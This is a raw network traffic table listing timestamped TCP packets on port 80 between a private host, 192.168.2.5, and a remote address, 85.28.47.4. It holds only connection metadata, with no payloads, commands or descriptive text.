Jun 28, 2024 13:36:04.336815119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336824894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336829901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336836100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336847067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.336849928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336870909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.336916924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.339956045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.339999914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.340007067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.340010881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.340043068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.340964079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341016054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341068983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341079950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341089010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341099024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341109991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341114044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341141939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341146946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341161013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341187954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341233015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341243029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341252089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341263056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341273069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341272116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341295958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341325045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341403961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341414928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341448069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341517925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341528893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341537952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341547966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341558933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341561079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341605902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341608047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341608047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341617107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341641903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341670036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341684103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341695070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341705084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341713905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.341728926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341747046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.341766119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.413844109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.413868904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.413877964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.413923025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.413973093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.413983107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.413996935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414007902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414115906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414123058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414123058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414123058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414123058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414123058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414128065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414227009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414237022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414246082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414258003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414268970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.414345026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414345980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414345980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414345980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.414345980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424005985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424027920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424036980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424062014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424150944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424163103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424171925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424184084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424278975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424288988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424335957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424335957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424336910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424336910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424377918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424384117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424396038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424405098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424416065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424424887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424443007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424443007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424467087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424618006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424628019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424637079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424648046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424657106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424665928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424674988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424676895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424675941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424705982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424727917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424859047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424868107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424875975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424885988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424896002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424905062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424916983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.424916983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424961090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.424961090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425163031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425173044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425184965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425195932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425205946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425215006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425223112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425223112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425225973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425236940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425246000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425251961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425256014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425266981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425276995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425287008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425287008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425307035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425326109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425354958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425571918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425582886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425591946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425601006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425622940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425626993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425637960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425642967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425647974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425657988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425663948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425668001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425678015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.425679922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425708055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.425735950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.464858055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.469650030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537506104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537524939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537534952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537549973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537559986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537573099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537594080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537607908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537617922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537642956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.537678957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537688971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537741899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537741899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.537741899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.537777901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.537777901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.537794113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537806034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537815094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537826061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.537838936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.537873983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538060904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538072109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538080931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538093090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538103104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538113117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538111925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538124084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538134098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538135052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538144112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538153887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538158894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538166046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538176060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538181067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538213015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538481951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538491011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538501024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538511038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538521051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538530111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538532972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538543940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538553953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538566113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538604975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538718939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538731098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538739920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538749933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538759947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538763046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538769960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538780928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538801908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538836956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538845062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538855076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538863897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538872004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538882971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538892984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538908005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538918972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538928032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538927078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538937092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538947105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538955927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538965940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538969994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538975000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538985014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.538990021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.538995028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539005041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539014101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539022923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.539024115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539047003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.539079905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.539803982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539814949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539824009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539845943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539858103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.539868116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539880037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539885044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.539890051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539900064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539911032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539912939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.539921045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539931059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539942026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539951086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539953947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.539961100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539971113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539973974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.539982080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.539990902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540002108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540008068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540011883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540021896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540030956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540040970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540041924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540050030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540071964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540096045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540735960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540747881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540756941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540769100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540779114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540787935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540802002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540812016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540817022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540823936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540833950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540843010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540847063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540853024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540863037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540873051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540882111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540885925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540893078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540903091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540913105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540915012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540925026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540934086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540942907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540951967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.540952921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540962934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540972948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.540977955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541012049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541045904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541717052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541728973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541738033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541752100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541760921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541763067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541775942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541786909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541788101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541798115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541810036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541819096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541827917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541830063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541837931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541847944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541857958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541857958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541867971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541877985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541877985 CEST	49705	80	192.168.2.5	85.28.47.4
